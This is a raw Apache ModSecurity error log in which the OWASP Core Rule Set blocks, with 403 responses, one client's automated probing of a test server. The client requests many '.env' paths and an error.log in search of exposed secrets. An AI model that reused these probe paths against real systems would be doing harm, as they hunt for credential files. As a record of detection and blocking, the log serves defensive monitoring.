[Thu Feb 26 01:03:02.915171 2026] [:error] [pid 2330789] [client 185.177.72.22:55984] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /example27-how-to-load-env/sample02/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/example27-how-to-load-env/sample02/.env&quot;] [unique_id &quot;aZ-NtjAL5Lg_nL66HcLhvAAAAAE&quot;]
[Thu Feb 26 01:03:02.915437 2026] [:error] [pid 2330789] [client 185.177.72.22:55984] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/example27-how-to-load-env/sample02/.env&quot;] [unique_id &quot;aZ-NtjAL5Lg_nL66HcLhvAAAAAE&quot;]
[Thu Feb 26 01:03:02.915611 2026] [:error] [pid 2330789] [client 185.177.72.22:55984] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/example27-how-to-load-env/sample02/.env&quot;] [unique_id &quot;aZ-NtjAL5Lg_nL66HcLhvAAAAAE&quot;]
[Thu Feb 26 01:03:02.933889 2026] [:error] [pid 2330788] [client 185.177.72.22:55990] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /env/template/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/env/template/.env&quot;] [unique_id &quot;aZ-NtiSJSniLip0oFXiy5wAAAAA&quot;]
[Thu Feb 26 01:03:02.934192 2026] [:error] [pid 2330788] [client 185.177.72.22:55990] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/env/template/.env&quot;] [unique_id &quot;aZ-NtiSJSniLip0oFXiy5wAAAAA&quot;]
[Thu Feb 26 01:03:02.934409 2026] [:error] [pid 2330788] [client 185.177.72.22:55990] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/env/template/.env&quot;] [unique_id &quot;aZ-NtiSJSniLip0oFXiy5wAAAAA&quot;]
[Thu Feb 26 01:03:02.946962 2026] [:error] [pid 2330789] [client 185.177.72.22:55984] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /examples/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/.env&quot;] [unique_id &quot;aZ-NtjAL5Lg_nL66HcLhvQAAAAE&quot;]
[Thu Feb 26 01:03:02.947217 2026] [:error] [pid 2330789] [client 185.177.72.22:55984] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/.env&quot;] [unique_id &quot;aZ-NtjAL5Lg_nL66HcLhvQAAAAE&quot;]
[Thu Feb 26 01:03:02.947398 2026] [:error] [pid 2330789] [client 185.177.72.22:55984] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/.env&quot;] [unique_id &quot;aZ-NtjAL5Lg_nL66HcLhvQAAAAE&quot;]
[Thu Feb 26 01:03:02.970219 2026] [:error] [pid 2330789] [client 185.177.72.22:55984] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /examples/01-simple-model/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/01-simple-model/.env&quot;] [unique_id &quot;aZ-NtjAL5Lg_nL66HcLhvgAAAAE&quot;]
[Thu Feb 26 01:03:02.970524 2026] [:error] [pid 2330789] [client 185.177.72.22:55984] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/01-simple-model/.env&quot;] [unique_id &quot;aZ-NtjAL5Lg_nL66HcLhvgAAAAE&quot;]
[Thu Feb 26 01:03:02.970696 2026] [:error] [pid 2330789] [client 185.177.72.22:55984] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/01-simple-model/.env&quot;] [unique_id &quot;aZ-NtjAL5Lg_nL66HcLhvgAAAAE&quot;]
[Thu Feb 26 01:03:02.972142 2026] [:error] [pid 2330788] [client 185.177.72.22:55990] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /environments/local/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/environments/local/.env&quot;] [unique_id &quot;aZ-NtiSJSniLip0oFXiy6AAAAAA&quot;]
[Thu Feb 26 01:03:02.972413 2026] [:error] [pid 2330788] [client 185.177.72.22:55990] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/environments/local/.env&quot;] [unique_id &quot;aZ-NtiSJSniLip0oFXiy6AAAAAA&quot;]
[Thu Feb 26 01:03:02.972578 2026] [:error] [pid 2330788] [client 185.177.72.22:55990] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/environments/local/.env&quot;] [unique_id &quot;aZ-NtiSJSniLip0oFXiy6AAAAAA&quot;]
[Thu Feb 26 01:03:02.995858 2026] [:error] [pid 2330789] [client 185.177.72.22:55984] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /examples/02-complex-example/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/02-complex-example/.env&quot;] [unique_id &quot;aZ-NtjAL5Lg_nL66HcLhvwAAAAE&quot;]
[Thu Feb 26 01:03:02.996138 2026] [:error] [pid 2330789] [client 185.177.72.22:55984] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/02-complex-example/.env&quot;] [unique_id &quot;aZ-NtjAL5Lg_nL66HcLhvwAAAAE&quot;]
[Thu Feb 26 01:03:02.996295 2026] [:error] [pid 2330789] [client 185.177.72.22:55984] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/02-complex-example/.env&quot;] [unique_id &quot;aZ-NtjAL5Lg_nL66HcLhvwAAAAE&quot;]
[Thu Feb 26 01:03:03.006516 2026] [:error] [pid 2330788] [client 185.177.72.22:55990] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /environments/production/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/environments/production/.env&quot;] [unique_id &quot;aZ-NtySJSniLip0oFXiy6QAAAAA&quot;]
[Thu Feb 26 01:03:03.006897 2026] [:error] [pid 2330788] [client 185.177.72.22:55990] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/environments/production/.env&quot;] [unique_id &quot;aZ-NtySJSniLip0oFXiy6QAAAAA&quot;]
[Thu Feb 26 01:03:03.007139 2026] [:error] [pid 2330788] [client 185.177.72.22:55990] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/environments/production/.env&quot;] [unique_id &quot;aZ-NtySJSniLip0oFXiy6QAAAAA&quot;]
[Thu Feb 26 01:03:03.032660 2026] [:error] [pid 2330788] [client 185.177.72.22:55990] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /envs/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/envs/.env&quot;] [unique_id &quot;aZ-NtySJSniLip0oFXiy6gAAAAA&quot;]
[Thu Feb 26 01:03:03.033072 2026] [:error] [pid 2330788] [client 185.177.72.22:55990] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/envs/.env&quot;] [unique_id &quot;aZ-NtySJSniLip0oFXiy6gAAAAA&quot;]
[Thu Feb 26 01:03:03.033335 2026] [:error] [pid 2330788] [client 185.177.72.22:55990] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/envs/.env&quot;] [unique_id &quot;aZ-NtySJSniLip0oFXiy6gAAAAA&quot;]
[Thu Feb 26 01:03:03.047389 2026] [:error] [pid 2330789] [client 185.177.72.22:55984] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /examples/03-one-to-many-relationship/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/03-one-to-many-relationship/.env&quot;] [unique_id &quot;aZ-NtzAL5Lg_nL66HcLhwAAAAAE&quot;]
[Thu Feb 26 01:03:03.047741 2026] [:error] [pid 2330789] [client 185.177.72.22:55984] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/03-one-to-many-relationship/.env&quot;] [unique_id &quot;aZ-NtzAL5Lg_nL66HcLhwAAAAAE&quot;]
[Thu Feb 26 01:03:03.047922 2026] [:error] [pid 2330789] [client 185.177.72.22:55984] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/03-one-to-many-relationship/.env&quot;] [unique_id &quot;aZ-NtzAL5Lg_nL66HcLhwAAAAAE&quot;]
[Thu Feb 26 01:03:03.073922 2026] [:error] [pid 2330788] [client 185.177.72.22:55990] [client 185.177.72.22] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.log&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/error.log&quot;] [unique_id &quot;aZ-NtySJSniLip0oFXiy6wAAAAA&quot;]
[Thu Feb 26 01:03:03.074508 2026] [:error] [pid 2330788] [client 185.177.72.22:55990] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/error.log&quot;] [unique_id &quot;aZ-NtySJSniLip0oFXiy6wAAAAA&quot;]
[Thu Feb 26 01:03:03.074723 2026] [:error] [pid 2330788] [client 185.177.72.22:55990] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/error.log&quot;] [unique_id &quot;aZ-NtySJSniLip0oFXiy6wAAAAA&quot;]
[Thu Feb 26 01:03:03.079260 2026] [:error] [pid 2330789] [client 185.177.72.22:55984] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /examples/04-many-to-many-relationship/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/04-many-to-many-relationship/.env&quot;] [unique_id &quot;aZ-NtzAL5Lg_nL66HcLhwQAAAAE&quot;]
[Thu Feb 26 01:03:03.079554 2026] [:error] [pid 2330789] [client 185.177.72.22:55984] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/04-many-to-many-relationship/.env&quot;] [unique_id &quot;aZ-NtzAL5Lg_nL66HcLhwQAAAAE&quot;]
